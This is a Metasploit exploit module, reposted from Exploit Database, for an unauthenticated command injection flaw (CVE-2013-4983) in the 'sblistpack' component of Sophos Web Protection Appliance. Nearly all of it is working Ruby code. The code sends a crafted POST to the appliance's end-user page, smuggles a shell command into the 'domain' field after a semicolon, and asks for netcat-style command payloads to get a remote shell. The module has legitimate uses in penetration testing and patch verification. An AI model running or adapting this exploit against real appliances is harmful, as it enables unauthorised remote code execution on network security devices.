Sophos Web Protection Appliance – ‘sblistpack’ Arbitrary Command Execution (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2013-09-17
• 类别：

  • remote
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/28334/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Sophos Web Protection Appliance sblistpack Arbitrary Command Execution',
  'Description'=> %q{
  This module exploits a command injection vulnerability on Sophos Web Protection Appliance
  3.7.9, 3.8.0 and 3.8.1. The vulnerability exists on the sblistpack component, reachable
  from the web interface without authentication. This module has been tested successfully
  on Sophos Virtual Web Appliance 3.7.0.
  },
  'Author' =>
  [
  'Francisco Falcon', # Vulnerability discovery and PoC
  'juan vazquez'# Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  [ 'CVE', '2013-4983' ],
  [ 'OSVDB', '97029' ],
  [ 'BID', '62263'],
  [ 'EDB', '28175'],
  [ 'URL', 'http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities']
  ],
  'Platform' => ['unix'],
  'Arch' => ARCH_CMD,
  'Privileged' => false,
  'Payload'=>
  {
  'Space' => 1024,
  'DisableNops' => true,
  'BadChars'=> "\x27\x22\x5c",
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'generic netcat-e' # Because quotes and double-quotes aren't valid
  }
  },
  'Targets'=>
  [
  [ 'Sophos Web Protection Appliance 3.7.0', { }]
  ],
  'DefaultOptions' =>
  {
  'SSL' => true
  },
  'DefaultTarget'=> 0,
  'DisclosureDate' => 'Sep 06 2013'
  ))
  
  register_options(
  [
  Opt::RPORT(443)
  ],
  self.class
  )
  
  end
  
  def check
  url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
  domain = "http://#{rand_text_alpha(10 + rand(10))}.com"
  res = send_exploit_query(url, domain)
  
  if res and res.code == 302 and res.headers.include?('Location') and res.headers['Location'] =~ /#{url}/
  return Exploit::CheckCode::Detected
  else
  return Exploit::CheckCode::Safe
  end
  end
  
  def exploit
  print_status("#{rhost}:#{rport} - Executing payload...")
  url = "http://www.#{rand_text_alpha(10 + rand(10))}.com"
  domain = "http://#{rand_text_alpha(10 + rand(10))}.com;#{payload.raw}"
  # very short timeout because the request may never return if we're
  # sending a socket payload
  send_exploit_query(url, domain, 0.01)
  end
  
  def send_exploit_query(url, domain, timeout = 20)
  user = rand_text_alpha(8 + rand(5))
  res = send_request_cgi({
  'uri' => normalize_uri('end-user', 'index.php'),
  'method' => 'POST',
  'vars_get' => {
  'c' =>'blocked',
  'action' => 'continue'
  },
  'vars_post' => {
  'url' => "#{Rex::Text.encode_base64(url)}",
  'args_reason' => rand_text_alpha(15 + rand(5)),
  'filetype'=> rand_text_alpha(15 + rand(5)),
  'user'=> user,
  'user_encoded'=> "#{Rex::Text.encode_base64(user)}",
  'domain'=> domain,
  'raw_category_id' => "#{rand_text_alpha(4 + rand(8))}|#{rand_text_alpha(4 + rand(8))}"
  }
  }, timeout)
  
  return res
  end
  
  end